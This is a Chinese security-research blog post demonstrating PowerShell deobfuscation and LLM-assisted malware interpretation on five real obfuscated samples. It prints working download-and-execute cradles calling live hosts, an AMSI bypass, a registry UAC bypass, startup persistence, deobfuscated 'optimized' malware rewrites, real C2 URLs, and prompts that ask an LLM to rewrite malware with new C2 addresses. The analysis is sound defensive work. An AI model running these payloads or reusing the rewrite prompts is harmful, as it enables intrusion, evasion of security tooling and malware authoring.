大数跨境
0
0

天穹 | 双剑合璧:PowerShell反混淆 & 大模型解读

天穹 | 双剑合璧:PowerShell反混淆 & 大模型解读 奇安信技术研究院
2024-07-04
1
导读:近年来,PowerShell频繁出现在各种网络攻击事件中,在高级持续攻击、勒索软件、网络钓鱼、加密劫持等攻击行为中都有利用到PowerShell。
01
 概述 


近年来,PowerShell频繁出现在各种网络攻击事件中,在高级持续攻击、勒索软件、网络钓鱼、加密劫持等攻击行为中都有利用到PowerShell。
该脚本语言的动态特性使其能够轻易地被混淆处理,混淆手法之多使得脚本内容不仅能够绕过杀毒软件的检测查杀,也增加了恶意行为分析工作的难度。

当前PowerShell脚本反混淆技术多采用正则表达式定位和预设策略反混淆,以及基于机器学习和抽象语法树反混淆,这些反混淆技术对于使用多种混淆手法的复杂脚本内容不能实现完全解混淆,得到的结果仍旧存在大量混淆语句。

为能还原PowerShell脚本原始代码,天穹沙箱推出了PowerShell脚本反混淆功能,功能实现深度融合了星图实验室的两项学术研究成果——

1.Invoke-Deobfuscation(DSN 2022)

[链接:https://gitee.com/snowroll/invoke-deobfuscation]

2.PowerPeeler(CCS 2024)

[链接:https://arxiv.org/pdf/2406.04027]

具体反混淆功能包括静态分析和动态追踪两方面:

静态分析: 利用词法分析和抽象语法树定位PowerShell代码中的混淆语句片段,使用模拟执行方式得到反混淆结果,然后将反混淆结果替换抽象语法树中对应节点内容,重构得到完整的解混淆脚本,最后利用重排版的方式使得反混淆结果更具可读性。该反混淆方式可精准定位混淆片段,对于处理包括空白字符插入、字符随机化、字符串逆序、拼接以及Base64编码等方式在内的混淆脚本,都展现出了极高的处理效率和准确性。

动态追踪: 通过PowerShell抽象语法树找到解混淆操作节点对应的指令,利用脚本运行时自解混淆的行为实时监控解混淆指令的执行结果,对监控结果进行整理和重排版得到解混淆脚本。基于指令级别的动态反混淆技术可天然保证语句上下文的正确性,进而可确保得到正确的反混淆结果。该方法能够应对目前已知的所有混淆手段,可准确恢复脚本的原始结构和内容。

同时,天穹沙箱针对之前的TQGPT功能进行升级,赋予其强大的代码解读功能,此功能可帮助用户总结代码功能提取IOC信息分析恶意行为优化代码输出C2研判评估威胁等级代码仿写(禁止用于恶意用途)等,其全面深入的代码分析能力极大的提升了脚本类样本的分析效率,为安全人员提供了强大的工具,帮助安全人员快速定位威胁。


02
反混淆能力展示


1、base64编码、字符串反转、命令大小写、BXOR位异或

Set-Alias -name input -val Invoke-WebRequestSet-Alias -name output -val Invoke-Expression$a = "RM0RAZ0QVMxED1BHKIFRXpgSDtAQRZFRVpgCfYVVRFVT".ToCharArray()[aRRaY]::reVErse($a)$b = [sYstEM.CoNveRt]::"froMba`sE64strING"($a -join '')for ($x = 0; $x -lt $b.Count; $x++) {${B}[${x}] = ${B}[${X}] -bxor 37}$c = (input ([sySteM.tExt.EncOding]::UTF8.GetString($b))). Contentoutput $c

反混淆结果如下,我们可以观察到$c变量被恢复为了可读的Powershell语句:

图1 反混淆结果

接下来我们使用代码智能解读功能,针对代码提问:

问题1:请用中文解读代码的行为

图2 解读代码


问题2:该代码是否存在Invoke操作?如果有,则继续回答它的目的是什么?

图3 Invoke行为解读

2、随机字符插入、base64编码、字符串操作、反引号

Ie`X ("{2}{0}{1}" -f 'ost h', 'ello', 'write-h')$xdjmd  =   'aAB0AHQAcABzADoALwAvAHQAZQBzAHQALgBjAG'$lsffs =   '8AbQAvAG0AYQBsAHcAYQByAGUALgB0AHgAdAA='$sdfs = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($xdjmd + $lsffs)).($psHoME[4]+$PShOmE[30]+'x') (Ne`W-oB`JeCt Net.Web`C`lient).downloadstring($sdfs)

反混淆结果如下,我们可以观察到$sdfs被恢复为了正常的Powershell语句:

图4 反混淆结果

使用代码智能解读功能提问:

问题1:该样本存在哪些恶意行为?请结合对应的代码片段分点回答

图5 解读代码


问题2:从代码中可以提取哪些IOC信息?

图6 提取IOC

问题3:结合代码来看,malware.txt最可能是什么格式的文件?

图7 推测下载文件格式

3、字符数组、算术运算、字符拼接
set-alias 7boh6i0n $([char](171-56)+[char](213-112)+[char](215-99)+[char](99-54)+[char](218-121)+[char](158-50)+[char](162-57)+[char](195-98)+[char](225-110))$ds6ca0i17p8kuyj = $executioncontext$khu2r8flz4c5ijd=$([char](226-121)+[char](223-113)+[char](225-107)+[char](160-49)+[char](163-56)+[char](222-121)+[char](199-100)+[char](228-117)+[char](220-111)+[char](227-118)+[char](147-50)+[char](161-51)+[char](198-98))$tuhz78ygvd05br173mh1q5oygcnja=$([char](153-52)+[char](226-106)+[char](217-105)+[char](154-57)+[char](223-113)+[char](213-113)+[char](235-120)+[char](228-112)+[char](234-120)+[char](155-50)+[char](208-98)+[char](154-51))[Ref].Assembly.GetType($ds6ca0i17p8kuyj.$khu2r8flz4c5ijd.$tuhz78ygvd05br173mh1q5oygcnja($([char](187-104)+[char](236-115)+[char](216-101)+[char](167-51)+[char](150-49)+[char](166-57)+[char](96-50)+[char](133-56)+[char](213-116)+[char](164-54)+[char](150-53)+[char](210-107)+[char](205-104)+[char](225-116)+[char](200-99)+[char](228-118)+[char](230-114)+[char](144-98)+[char](113-48)+[char](234-117)+[char](219-103)+[char](215-104)+[char](221-112)+[char](203-106)+[char](237-121)+[char](220-115)+[char](167-56)+[char](214-104)+[char](96-50)+[char](166-101)+[char](157-48)+[char](167-52)+[char](205-100)+[char](198-113)+[char](229-113)+[char](223-118)+[char](157-49)+[char](163-48)))).GetField($ds6ca0i17p8kuyj.$khu2r8flz4c5ijd.$tuhz78ygvd05br173mh1q5oygcnja($([char](218-121)+[char](166-57)+[char](171-56)+[char](218-113)+[char](122-49)+[char](210-100)+[char](154-49)+[char](217-101)+[char](120-50)+[char](149-52)+[char](223-118)+[char](226-118)+[char](221-120)+[char](208-108))),$ds6ca0i17p8kuyj.$khu2r8flz4c5ijd.$tuhz78ygvd05br173mh1q5oygcnja($([char](196-118)+[char](165-54)+[char](159-49)+[char](185-105)+[char](232-115)+[char](216-118)+[char](221-113)+[char](224-119)+[char](220-121)+[char](155-111)+[char](133-50)+[char](165-49)+[char](149-52)+[char](238-122)+[char](223-118)+[char](211-112)))).SetValue($egna8xcpw26kdzy,$true);

反混淆结果如下,我们可以看到代码长度被大幅缩短,其逻辑被清晰直观的展示出现:

图8 反混淆结果

使用代码智能解读功能提问:

问题1:这段代码的作用是什么:[Ref].Assembly.GetType((“System.Management.Automation.AmsiUtils”)).GetField((“amsiInitFailed”),(“NonPublic,Static”)).SetValue(($Null),$true)

图9 某一段代码的作用


问题2:为什么代码可以关闭AMSI接口?

图10 关闭AMSI原理

问题3:该样本使用反射实现了什么恶意行为?除此之外,分点讲一下反射还可以实现哪些恶意行为,且每点都需要给出对应的代码示例。

图11 反射的恶意行为

4、随机化命名、特殊字符、Base64
${_/|\_/|////\__|/_|\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwBtAGQA')))${_/|\_/|////\__|/_|\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))${__///\\\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAG4AZwA=')))${_/|\_/|////\__|/_|\\\\\\/\\\\/\/\/\|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))${_/|\_/|////\__|//\\\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHcAdwB3AC4AZAByAG8AcABiAG8AeAAuAGMAbwBtAC8AcwBjAGwALwBmAGkALwB4AG8AbQB3AGYAOAA3AGgANQBhAG4AMgAwAHYAMgBnAGkAbABtAHYAdgAvAG0ALgB6AGkAcAA/AHIAbABrAGUAeQA9AHgAZwAxAG8AcwBqADMAcwA0ADMAZgBsADkAcABhAGcAcgA3AHoAZwBqADYAeQA3ADAAJgBkAGwAPQAxAA=='))) ${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAdQBzAGUAcgBzAFwA')))${_/|\_/|/\\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAB1AGIAbABpAGMA'))) ${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAdQBzAGUAcgBzAFwA'))) ${_\\\\\\/|\_/|/\\\\\\\/|_} = "${_/|_}${_/|\_/|/\\\\\\\/|_}"${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\//_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBsAG8AYgBhAGwA')))${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwAQwBhAGwAbAA='))) ${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBUAFIAVQBDAFQA')))${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SgBMAEkAXwBHAGUAdABTAHQAZABBAHIAZwBjAA=='))) ${_\\/\/\//\/\\/\/\/\/\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwATwBwAGUAbgA=')))${_\\/\/\//\/\\/\/\/\/\\\\\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IwBOAG8AVAByAGEAeQBJAGMAbwBuAA==')))${_um_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkAA=='))) ${_dois_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIAAtAE4AYQBtAGUAIAAiAEQAZQBsAGUAZwBhAHQAZQBFAHgAZQBjAHUAdABlACIAIAAtAFYAYQBsAHUAZQAgACIA')))${_tres_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABlAGwAZQBnAGEAdABlAEUAeABlAGMAdQB0AGUA'))) ${_qtro_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KABkAGUAZgBhAHUAbAB0ACkA')))${_fiv_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUA')))${_six_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBvAGQAaABlAGwAcABlAHIALgBlAHgAZQA=')))${_sev_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAD8AXABDADoAXABXAGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAA=')))${_\\\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MQBuACAAaQBhAA=='))) ${_\\///////////////////////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwA')))${_tx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))${_dx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA=')))${_ex_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBlAHgAZQA=')))${_jl_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('agBsAGkA')))${_ms_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBTAFYAQwBSADEAMAAwAA==')))${_wb_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwBlAGIAVgBpAGUAdwAyAEwAbwBhAGQAZQByAA==')))${_\\\\\\/|\\\\\\\\\\\\\\\\\_} = $env:COMPUTERNAME${/////\\\\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/} = "011123"

反混淆结果如下,反混淆后的代码展示样本的C2地址等IOC信息,其逻辑被清晰直观展示:

图12 反混淆结果


使用代码智能解读功能提问:

问题1:该样本使用了哪些代码混淆手段,请分点并结合对应代码片段回答。

图13 样本的混淆手段

问题2:分点描述该样本具体的恶意行为,并展示对应的代码片段

图14 恶意行为解读


问题3:该样本是如何实现持久化的操作的?除此之外,分点描述Powershell还有哪些方法可以实现持久化,且每点都需要给出对应的代码示例。

图15 持久化行为

问题4:在保持原有代码功能不变的情况下,优化这段代码,使其更有助于样本分析工作。

图16 代码优化

点击复制代码可以拷贝代码智能解读输出代码,优化后的代码如下:

# 生成随机字符串function GenerateRandomString {    $characters = "qwertyuiopasdfghjklzxcvbnm23456789"    $randomString = ""    for ($i = 0; $i -lt 8; $i++) {        $randomString += $characters[(Get-Random -Minimum 0 -Maximum $characters.Length)]    }    return $randomString}
# 创建临时目录和文件function CreateTempDirectoryAndFile { param([string]$tempDirectory, [string]$tempFile) New-Item -ItemType Directory -Path $tempDirectory Set-Content -Path $tempFile -Value "EncodedCommand"}
# 下载并解压文件function DownloadAndExtract { param([string]$tempDirectory, [string]$url, [string]$destination) $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $destination) Expand-Archive -Path $destination -DestinationPath $tempDirectory}
# 重命名文件function RenameFiles { param([string]$tempDirectory) Rename-Item -Path "$tempDirectory\exe.txt" -NewName "$randomString.exe" Rename-Item -Path "$tempDirectory\6.txt" -NewName "$randomString.ia" Rename-Item -Path "$tempDirectory\b.txt" -NewName "$randomString.ai" Rename-Item -Path "$tempDirectory\c.txt" -NewName "$randomString.at" Rename-Item -Path "$tempDirectory\at.txt" -NewName "$randomString.mdat" Rename-Item -Path "$tempDirectory\i7.txt" -NewName "$randomStringi7.exe" Rename-Item -Path "$tempDirectory\7.txt" -NewName "$randomString.bt.ia" Rename-Item -Path "$tempDirectory\bt.txt" -NewName "$randomString.bai" Rename-Item -Path "$tempDirectory\jli.txt" -NewName "$randomString.jli.dll" Rename-Item -Path "$tempDirectory\MSVCR100.txt" -NewName "$randomString.MSVCR100.dll" Rename-Item -Path "$tempDirectory\WebView2Loader.txt" -NewName "$randomString.WebView2Loader.dll" Remove-Item "$tempDirectory\*.zip"}
# 创建启动项function CreateStartupShortcut { param([string]$startupDirectory, [string]$shortcutPath, [string]$targetPath) $shell = New-Object -ComObject WScript.Shell $shortcut = $shell.CreateShortcut($shortcutPath) $shortcut.TargetPath = $targetPath $shortcut.Save()}
# 修改注册表function ModifyRegistry { param([string]$targetPath) New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $targetPath -Force}
# 清理痕迹function Cleanup { Remove-Item "C:\users\public\*.vbs" Remove-Item "C:\users\public\*.lnk" Remove-Item "C:\users\public\*.exe" Remove-Item "C:\users\public\*.cmd"}
# 重启系统function RestartSystem { shutdown.exe -r -t 10}
# 主函数function Main { $randomString = GenerateRandomString() $tempDirectory = "C:\$randomString" $tempFile = "$tempDirectory\LUCHAO-PC" $url = "https://www.dropbox.com/scl/fi/xomwf87h5an20v2gilmvv/m.zip?rlkey=xg1osj3s43fl9pagr7zgj6y70&dl=1" $destination = "$tempDirectory\$randomString.zip" $startupDirectory = "C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" $shortcutPath = "$startupDirectory\$randomString.lnk" $targetPath = "$tempDirectory\$randomStringi7.exe"
CreateTempDirectoryAndFile -tempDirectory $tempDirectory -tempFile $tempFile DownloadAndExtract -tempDirectory $tempDirectory -url $url -destination $destination RenameFiles -tempDirectory $tempDirectory CreateStartupShortcut -startupDirectory $startupDirectory -shortcutPath $shortcutPath -targetPath $targetPath ModifyRegistry -targetPath $targetPath Cleanup RestartSystem}
# 执行主函数Main

5、集合多种混淆

#仅展示了部分代码片段$qzi=new-object net.webclient;$mrs='http://habarimoto24.com/nh@http://fenett2018.com/dobgx@http://eastend.jp/bl5kfa@http://bemnyc.com/u8erijeq@http://abakus-biuro.net//a9zqemm'.split('@');$wai = '509';$kqz=$env:public+'\'+$wai+'.exe';foreach($cme in $mrs){try{$qzi.downloadfile($cme, $kqz);invoke-item $kqz;break;}catch{}}                 aechah1yai2zus9oo5ohj3kooxu2eidoak0eiXeKah6aeTheephohweloh8Taesho6oor4eeChaeque3oog0ahye1eiSao2Pee4iet7jaetei9aiwe2queifai1hoo6Taelocoo6iShaishiequooghoushaiboziexeifaeph6nu3ohshah1eeb5aim1Phoh5oisaichaexaedae6eeng2eighohCae1YaaNgee7Choohoo0ej6mae5Xeem8shiejio8teigeeFoopaedaeSahGhee7dae6xahm0thago5woiNahhoor4Eepie0aeNook1boo9Ee9hae6aiXah9ooquoYae3daiquaomoalohw1quuoshaigiJai0sei1iecaeth0ho7Aezaiy2ier3pheCh4shahGohM1eet1ov3Oak5sohxingangeiloo6Ve0bai8aeVijeiwaihu1la6Oht2iahaepi0ea6pohsiew2cho1oCeighu9shoh7eit[Ref].Assembly.GetType([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM='))).GetField([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('YW1zaUluaXRGYWlsZWQ=')),'NonPublic,Static').SetValue($null,$true);Add-Type -TypeDefinition "using System;using System.Diagnostics;using System.Runtime.InteropServices;[StructLayout(LayoutKind.Sequential)]public struct l1Ill1{public IntPtr llI1Il1111;public IntPtr ll11llII111;public uint II11IIIIIIl;public uint Il1lI1;}[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]public struct l1lll1l{public uint II1l1Il1II;public string I11l1111I;public string lllIIlII;public string l1I1IIllI1I1;public uint I1I1ll11I;public uint lIlII11;public uint II11lIIl11I;public uint lIl1lIl1II11;public uint lIIl1Il;public uint Illl11I1;public uint II1ll1l11;public uint IlIlIl1Illl;public short l11111lI1l;public short lllIllI11I11;public IntPtr I1II1lIII;public IntPtr Il11lI1;public IntPtr ll1IlI;public IntPtr l1l11Il1lll1;};public static class lIlIlI{[DllImport(""kernel32.dll"",SetLastError=true)]public static extern bool CreateProcess(string llllIIIllIlI,string l1111I1I11I1,IntPtr ll1Il111,IntPtr IIIll11Il1,bool l1Il1lll111,uint IIlIl11l11l,IntPtr Il1I1Il11l1l,string l1l1Illl,ref l1lll1l Il111,out l1Ill1 II11l111lII1);}";$I1II1I="$env:userprofile\AppData\LocalLow\$(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 8|%{[char]$_})).tmp";$IIl11ll11I11='http://yourmother4cancer.info/Nereidae/ZdDZ/umping?HGn3Nw=1932-05-23';[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JGNsaT0oTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KTskY2xpLkhlYWRlcnNbJ1VzZXItQWdlbnQnXT0nd2VmMktvNFo3NHhPV2k2Ryc7JGNsaS5Eb3dubG9hZEZpbGUoJElJbDExbGwxMUkxMSwkSTFJSTFJKTs='))|iex;$III11ll1=New-Object l1lll1l;$III11ll1.l11111lI1l=0x0;$III11ll1.II1l1Il1II=[System.Runtime.InteropServices.Marshal]::SizeOf($III11ll1);$ll11Il1Il=New-Object l1Ill1;[lIlIlI]::CreateProcess($I1II1I,$I1II1I,[IntPtr]::Zero,[IntPtr]::Zero,$false,0x00000008,[IntPtr]::Zero,"c:",[ref]$III11ll1,[ref]$ll11Il1Il)|out-null;

反混淆结果:

图17 反混淆结果

使用代码智能解读功能提问:

问题1:分点描述该样本具体的恶意行为,并展示对应的代码片段

图18 恶意行为解读

问题2:请优化这段代码,使其更有助于样本分析工作

图19 代码优化

点击复制代码可以拷贝代码智能解读输出代码,优化后的代码如下:

# 定义WebClient对象,用于下载文件function DownloadFile($url, $destination) {    $webClient = New-Object System.Net.WebClient    $webClient.DownloadFile($url, $destination)}
# 定义函数,用于执行文件function ExecuteFile($filePath) { Invoke-Item $filePath}
# 定义函数,用于绕过Windows AMSI检测function BypassAMSI() { $amsiUtilsType = [System.Management.Automation.AmsiUtils] $amsiInitFailedField = $amsiUtilsType.GetField('amsiInitFailed', 'NonPublic,Static') $amsiInitFailedField.SetValue($null, $true)}
# 定义函数,用于创建并执行临时文件function CreateAndExecuteTempFile($url, $destination) { DownloadFile $url $destination $processInfo = New-Object System.Diagnostics.ProcessStartInfo $processInfo.FileName = $destination $processInfo.Arguments = $destination $processInfo.WorkingDirectory = 'C:\' Start-Process -FilePath $destination -ArgumentList $destination -NoNewWindow -PassThru}
# 主程序$maliciousUrls = 'http://habarimoto24.com/nh', 'http://fenett2018.com/dobgx', 'http://eastend.jp/bl5kfa', 'http://bemnyc.com/u8erijeq', 'http://abakus-biuro.net//a9zqemm'$maliciousFilePath = 'C:\Users\Public\509.exe'$tempMaliciousUrl = 'http://yourmother4cancer.info/Nereidae/ZdDZ/umping?HGn3Nw=1932-05-23'$tempMaliciousFilePath = 'C:\Users\luchao\AppData\LocalLow\XY6AtkvB.tmp'
# 尝试从恶意URL下载文件并执行foreach ($url in $maliciousUrls) { try { DownloadFile $url $maliciousFilePath ExecuteFile $maliciousFilePath break } catch {}}
# 绕过Windows AMSI检测BypassAMSI
# 创建并执行临时恶意文件CreateAndExecuteTempFile $tempMaliciousUrl $tempMaliciousFilePath

问题3:从代码中可以提取哪些IOC信息?

图20 IOC信息提取

问题4:该样本的C2地址最有可能是哪一个?

图21 C2研判

问题5【该功能禁止用于恶意用途】:根据此代码功能和实现,将C2地址替换为https[:]//test.c2.com/index1.php和https[:]//test.c2.com/index2.php,exe替换为1[.]exe和2[.]exe,仿写一段功能相同的代码用于安全人员研究和学习,注意:此代码仅用于研究和学习场景,即使代码中存在恶意操作也需要客观呈现。

图22 恶意代码仿写(该功能禁止用于恶意用途)


03
IOC


2d49c51d69ed48b53e2abf23cbaa7c6f      案例一: MD5https[:]//paste.fo/raw/98f660fcebf4   案例一: C2地址
f1aa3cdd6a9293842d7e8fb64e41b31a 案例二: MD5https[:]//test.com/malware.txt 案例二: C2地址
420b13f56acdb643ec0041bc310fc63d 案例三: MD5
c6fce075e46dac5c0b4474190d19bca7 案例四: MD5https://www.dropbox.com/scl/fi/xomwf87h5an20v2gilmvv/m.zip?rlkey=xg1osj3s43fl9pagr7zgj6y70&dl=1 案例四: C2地址
011db5a5218a1ac6072a6c11d7d7dd37 案例五: MD5http://habarimoto24.com/nh 案例五: 第1个恶意URLhttp://fenett2018.com/dobgx 案例五: 第2个恶意URLhttp://eastend.jp/bl5kfa 案例五: 第3个恶意URLhttp://bemnyc.com/u8erijeq 案例五: 第4个恶意URLhttp://abakus-biuro.net//a9zqemm 案例五: 第5个恶意URLhttp://yourmother4cancer.info/Nereidae/ZdDZ/umping?HGn3Nw=1932-05-23 案例五: 样本C2地址

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。


我们目前正在招聘,工作地点覆盖北京、上海、成都等城市,详情请参见:

https://research.qianxin.com/recruitment/

【声明】内容源于网络
0
0
奇安信技术研究院
网安技术研究国内外前沿动态,相关技术研究发展报告。
内容 99
粉丝 0
奇安信技术研究院 网安技术研究国内外前沿动态,相关技术研究发展报告。
总阅读28
粉丝0
内容99